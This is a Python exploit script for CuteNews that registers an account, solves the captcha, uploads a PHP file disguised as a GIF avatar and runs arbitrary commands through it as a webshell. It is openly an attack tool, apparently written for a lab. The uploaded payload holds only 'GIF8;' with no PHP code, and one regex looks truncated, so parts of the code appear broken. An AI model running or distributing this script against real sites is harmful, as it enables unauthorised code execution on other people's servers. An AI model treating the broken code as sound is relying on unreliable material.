#!/usr/bin/env python3 import argparse import random import re import string import sys import requests def randstr(length=10): alphabet = string.ascii_lowercase + string.digits return "".join(random.SystemRandom().choice(alphabet) for _ in range(length)) def fail(message): print(f"[-] {message}", file=sys.stderr) sys.exit(1) def extract(pattern, text, label): match = re.search(pattern, text, re.I | re.S) if not match: fail(f"could not extract {label}") return match.group(1) def main(): parser = argparse.ArgumentParser() parser.add_argument("base_url", help="CuteNews base URL, e.g. http://192.168.1.112") parser.add_argument("-c", "--cmd", default="id", help="command to execute") parser.add_argument("-u", "--username", default=None, help="username to register") parser.add_argument("-p", "--password", default=None, help="password to register") args = parser.parse_args() base = args.base_url.rstrip("/") sess = requests.Session() username = args.username or f"cn{randstr(8)}" password = args.password or randstr(14) reg_page = sess.get(f"{base}/index.php?register", timeout=10) if reg_page.status_code != 200 or "name=\"captcha\"" not in reg_page.text: fail(f"registration page did not load as expected: HTTP {reg_page.status_code}") captcha_page = sess.get(f"{base}/captcha.php", timeout=10) captcha = extract(r"]*>\s*([^<\s]+)\s*", captcha_page.text, "captcha") postdata = { "action": "register", "regusername": username, "regnickname": username, "regpassword": password, "confirm": password, "regemail": f"{username}@lab.local", "captcha": captcha, } reg = sess.post(f"{base}/index.php?register", data=postdata, allow_redirects=False, timeout=10) if reg.status_code not in (200, 302): fail(f"registration failed: HTTP {reg.status_code}") if reg.status_code == 200 and not re.search(r"successful|login|personal|logout", reg.text, re.I): print(reg.text[:500]) fail("registration response did not look successful") login_data = { "action": "dologin", "username": username, "password": password, "rememberme": "yes", } login = sess.post(f"{base}/index.php", data=login_data, allow_redirects=True, timeout=10) if "logout" not in login.text.lower() and "personal" not in login.text.lower(): fail("login did not look successful") personal = sess.get(f"{base}/index.php?mod=main&opt=personal", timeout=10) signature_key = extract(r'name="__signature_key"\s+value="([^"]+)"', personal.text, "signature key") signature_dsi = extract(r'name="__signature_dsi"\s+value="([^"]+)"', personal.text, "signature dsi") logged_user = extract(r'disabled="disabled"\s+value="([^"]+)"', personal.text, "logged user") payload = b"GIF8;\n" files = { "mod": (None, "main"), "opt": (None, "personal"), "__signature_key": (None, signature_key), "__signature_dsi": (None, signature_dsi), "editpassword": (None, ""), "confirmpassword": (None, ""), "editnickname": (None, logged_user), "avatar_file": (f"{logged_user}.php", payload, "image/gif"), "more[site]": (None, ""), "more[about]": (None, ""), } upload = sess.post(f"{base}/index.php", files=files, timeout=10) if upload.status_code != 200: fail(f"avatar upload failed: HTTP {upload.status_code}") shell_url = f"{base}/uploads/avatar_{logged_user}_{logged_user}.php" output = sess.post(shell_url, data={"cmd": args.cmd}, timeout=10) if output.status_code == 404: fail(f"webshell not found at {shell_url}") print(f"[+] username: {username}") print(f"[+] password: {password}") print(f"[+] webshell: {shell_url}") print(output.text.replace("GIF8;", "").strip()) if __name__ == "__main__": main()